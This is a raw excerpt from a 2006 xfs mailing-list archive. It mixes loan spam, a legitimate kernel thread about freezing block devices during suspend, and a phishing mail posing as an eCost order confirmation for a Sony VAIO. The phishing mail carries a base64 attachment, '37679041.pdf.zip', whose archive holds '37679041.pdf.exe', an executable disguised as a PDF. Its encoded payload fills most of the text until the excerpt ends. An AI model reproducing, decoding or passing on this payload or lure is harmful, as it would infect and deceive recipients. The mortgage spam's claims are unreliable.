xfs-bounce@oss.sgi.com X-original-sender: SpencerxCollinsr@sbcglobal.net Precedence: bulk X-list: xfs Status: O Dear Home Owner, Your cr rating doesn't matter. If you own realestate and need immediate cap. to use any way you want or simply want to de-crease your monthly payments by 30 per cent or more, fillout this simple secured 30 second form for an instant quotation No sensitive info will ever be asked on our website No matter what your cr rating, you will get the most favorable results possible with us. we specialize in all kinds of crdt ratings. http://geocities.yahoo.com.br/tucyni44947 Regards, Martin Owen App-roval Officer =================================================================== Riddle of the day: christy on canticle some bobolink it's agate see dial see children see cummings on caution some chippendale see begin or dessert not cankerworm but ale some abject it's bigelow may bloodstain be aquarius some choke but ashmen and dooley may benedictine a camelot be betrayer on deify may damnation a argo see cumulus see budget in From owner-xfs@oss.sgi.com Sun Oct 29 09:36:50 2006 Received: with ECARTIS (v1.0.0; list xfs); Sun, 29 Oct 2006 09:36:58 -0800 (PST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9THanaG025124 for ; Sun, 29 Oct 2006 09:36:50 -0800 X-ASG-Debug-ID: 1162143361-10238-190-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from amd.ucw.cz (gprs189-60.eurotel.cz [160.218.189.60]) by cuda.sgi.com (Spam Firewall) with ESMTP id DA0DAD1B2079 for ; Sun, 29 Oct 2006 09:36:02 -0800 (PST) Received: by amd.ucw.cz (Postfix, from userid 8) id A5E182BCBA; Sun, 29 Oct 2006 18:35:37 +0100 (CET) Date: Sun, 29 Oct 2006 18:35:37 +0100 From: Pavel Machek To: David Chinner Cc: "Rafael J. Wysocki" , Nigel Cunningham , Andrew Morton , LKML , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH] Freeze bdevs when freezing processes. Subject: Re: [PATCH] Freeze bdevs when freezing processes. Message-ID: <20061029173537.GA3022@elf.ucw.cz> References: <1161576735.3466.7.camel@nigel.suspend2.net> <1161850709.17293.23.camel@nigel.suspend2.net> <20061026085700.GI8394166@melbourne.sgi.com> <200610261111.30486.rjw@sisk.pl> <20061027013802.GQ8394166@melbourne.sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20061027013802.GQ8394166@melbourne.sgi.com> X-Warning: Reading this can be dangerous to your mental health. User-Agent: Mutt/1.5.11+cvs20060126 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24468 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9486 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: pavel@ucw.cz Precedence: bulk X-list: xfs Status: O Hi! > > > > As you have them at the moment, the threads seem to be freezing fine. > > > > The issue I've seen in the past related not to threads but to timer > > > > based activity. Admittedly it was 2.6.14 when I last looked at it, but > > > > there used to be a possibility for XFS to submit I/O from a timer when > > > > the threads are frozen but the bdev isn't frozen. Has that changed? > > > > > > I didn't think we've ever done that - periodic or delayed operations > > > are passed off to the kernel threads to execute. A stack trace > > > (if you still have it) would be really help here. > > > > > > Hmmm - we have a couple of per-cpu work queues as well that are > > > used on I/O completion and that can, in some circumstances, > > > trigger new transactions. If we are only flush metadata, then > > > I don't think that any more I/o will be issued, but I could be > > > wrong (maze of twisty passages). > > > > Well, I think this exactly is the problem, because worker_threads run with > > PF_NOFREEZE set (as I've just said in another message). > > Ok, so freezing the filesystem is the only way you can prevent > this as the workqueues are flushed as part of quiescing the filesystem. Well, alternative is to teach XFS to sense that we are being frozen and stop disk writes in such case. OTOH freeze_bdevs is perhaps not that bad solution... Pavel -- (english) http://www.livejournal.com/~pavelmachek (cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html From owner-xfs@oss.sgi.com Sun Oct 29 13:07:45 2006 Received: with ECARTIS (v1.0.0; list xfs); Sun, 29 Oct 2006 13:08:05 -0800 (PST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9TL7iaG005492; Sun, 29 Oct 2006 13:07:44 -0800 X-ASG-Debug-ID: 1162151780-10428-139-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from user-12ldivj.cable.mindspring.com (user-12ldivj.cable.mindspring.com [69.86.203.243]) by cuda.sgi.com (Spam Firewall) with SMTP id CBC99D1B2073; Sun, 29 Oct 2006 11:56:21 -0800 (PST) Date: Sun, 29 Oct 2006 22:52:27 +0300 From: info@ecost.com Message-ID: <64942519.88127853@coolant.com> To: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: Your 37679041 order information Subject: Your 37679041 order information MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----------144013AF9A72C64" X-Barracuda-Spam-Score: 0.55 X-Barracuda-Spam-Status: No, SCORE=0.55 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24480 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.55 NO_REAL_NAME From: does not include a real name X-archive-position: 9487 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: info@ecost.com Precedence: bulk X-list: xfs Status: O ------------144013AF9A72C64 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Dear Customer, Thank you for ordering from our internet shop. If you paid with a credit card, the charge on your statement will be from name of our shop. This email is to confirm the receipt of your order. Please do not reply as this email was sent from our automated confirmation system. Date : 08 Oct 2006 - 12:40 Order ID : 37679041 Payment by Credit card Product : Quantity : Price WJM-PSP - Sony VAIO SZ370 C2D T7200 : 1 : 2,449.99 Subtotal : 2,449.99 Shipping : 32.88 TOTAL : 2,482.87 Your Order Summary located in the attachment file ( self-extracting archive with "37679041.pdf" file ). PDF (Portable Document Format) files are created by Adobe Acrobat software and can be viewed with Adobe Acrobat Reader. If you do not already have this viewer configured on a local drive, you may download it for free from Adobe's Web site. We will ship your order from the warehouse nearest to you that has your items in stock (NY, TN, UT & CA). We strive to ship all orders the same day, but please allow 24hrs for processing. You will receive another email with tracking information soon. We hope you enjoy your order! Thank you for shopping with us! ------------144013AF9A72C64 Content-Type: application/x-zip-compressed; name="37679041.pdf.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="37679041.pdf.zip" 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 